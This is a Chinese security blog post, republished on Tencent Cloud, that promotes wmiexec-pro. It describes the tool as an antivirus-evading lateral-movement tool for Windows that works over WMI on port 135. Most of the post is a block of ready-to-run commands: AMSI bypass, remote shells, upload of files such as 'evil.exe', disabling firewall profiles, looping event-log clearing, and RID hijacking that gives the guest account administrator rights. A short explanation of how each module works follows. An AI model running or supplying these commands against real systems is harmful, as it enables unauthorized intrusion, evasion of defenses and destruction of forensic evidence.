前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >【神兵利器】新一代wmiexec免杀横向工具

【神兵利器】新一代wmiexec免杀横向工具

作者头像
Al1ex
发布2025-01-08 11:29:00
发布2025-01-08 11:29:00
1180
举报
文章被收录于专栏:网络安全攻防

项目介绍

新一代wmiexec.py且具备更多新特性,整个操作只与端口135(不需要smb连接)一起工作,用于横向移动中的AV闪避(Windows Defender,火绒,360)

项目特点

  • 主要功能:AV闪避
  • 主要特性:不需要win32_process
  • 主要特点:只需要135端口。
  • 新模块:AMSI旁路
  • 新模块:文件传输
  • 新模块:通过wmi类方法远程启用RDP
  • 新模块:Windows防火墙滥用
  • 新模块:事件日志循环清理
  • 新模块:远程启用WinRM,无需触摸CMD
  • 新模块:服务经理
  • 新模块:RID-劫持
  • 增强:以新的方式获得命令执行输出
  • 增强功能:执行vbs文件

项目使用

代码语言:javascript
复制
python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h

Basic enumeration:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 enum -run

Enable/disable amsi bypass:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 amsi -enable
   python3 wmiexec-pro.py administrator:password@192.168.1.1 amsi -disable

Execute command:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -shell (Launch a semi-interactive shell)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" (Default is with output mode)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent (Silent mode)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old (With output in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -save (With output and save output to file)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old -save
   python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -clear (Remove temporary class for command result storage)
   
Filetransfer:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 filetransfer -clear (Remove temporary class for file transfer)
   
RDP:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable (Auto configure firewall)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable -old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rdp -disable-ram (Disable Restricted Admin Mode)

WinRM (Only support win7+):
   python3 wmiexec-pro.py administrator:password@192.168.1.1 winrm -enable
   python3 wmiexec-pro.py administrator:password@192.168.1.1 winrm -disable

Firewall (Only support win8+):
   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -search-port 445
   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -dump (Dump all firewall rules)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile enable (Enable all firewall profiles)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 firewall -firewall-profile disable (Disable all firewall profiles)
   
Services:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe'
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action start -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action stop -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action disable -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action auto-start -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action manual-start -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action getinfo -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -action delete -service-name "test"
   python3 wmiexec-pro.py administrator:password@192.168.1.1 service -dump all-services.json

Eventlog:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -risk-i-know (Looping cleaning eventlog)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 eventlog -retrive object-ID (Stop looping cleaning eventlog)

RID Hijack:
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action grant (Grant access permissions for SAM/SAM subkey in registry)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action grant-old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action activate (Activate user)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action deactivate (Deactivate user)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 501 -action hijack -user 501 -hijack-rid 500 (Hijack guest user rid 501 to administrator rid 500)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -blank-pass-login enable (Enable blank password login)
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -blank-pass-login disable
   python3 wmiexec-pro.py administrator:password@192.168.1.1 rid-hijack -user 500 -action backup (This will save user profile data as json file)
   python3 wmiexec-pro.py guest@192.168.1.1 -no-pass rid-hijack -user 500 -remove (Use guest user remove administrator user profile after rid hijacked)
   python3 wmiexec-pro.py guest@192.168.1.1 -no-pass rid-hijack -restore "backup.json" (Restore user profile for target user)
   

帮助信息:

命令执行:

文件传输:

工作机制

  • AMSI模块:来自黑帽亚洲2018的Tal-Liberman的技术
  • 执行命令模块:以前项目的增强:wmiexec-RegOut,从wmi类而不是从注册表中获取输出
  • 文件传输模块:对于上传:将源文件以base64字符串的形式编码到名为WriteFile.vbs的滴管中,然后创建一个新的ActiveScriptEventConsumer对象实例来执行该滴管。
  • 下载:remote创建一个存储数据的类,然后执行编码器LocalFileIntoClass.vbs对文件进行编码,并将数据存储到刚刚创建的类中。
  • rdp模块:对于启用/禁用:rdp服务:直接控制TerminalServices对象。
  • 对于启用/禁用:受限管理模式:通过StdRegProv类控制注册表项DisableRestrictedAdmin。
  • winrm模块:启用/禁用:调用服务模块
  • 对于防火墙规则:使用firewall.py模块配置winrm的防火墙。
  • 防火墙模块:滥用MSFT _网络协议端口过滤器,MSFT _网络防火墙规则,MSFT _网络防火墙配置文件类。
  • 服务模块:滥用Win32_Service类。
  • 事件日志模块:执行vbs脚本文件ClearEventlog.vbs,而不删除事件和使用者。
  • 执行-vbs模块:选自wmipersist.py。
  • classMethodEx方法:对于创建类:执行vbs scritp : CreateClass.vbs来创建简单的类。(为什么?不知道如何在impacket中使用PutClass方法。)
  • 对于移除类:调用DeleteClass方法来移除类

免责声明

仅限用于技术研究和获得正式授权的攻防项目,请使用者遵守《中华人民共和国网络安全法》,切勿用于任何非法活动,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布者不承担任何法律连带责任

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-01-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档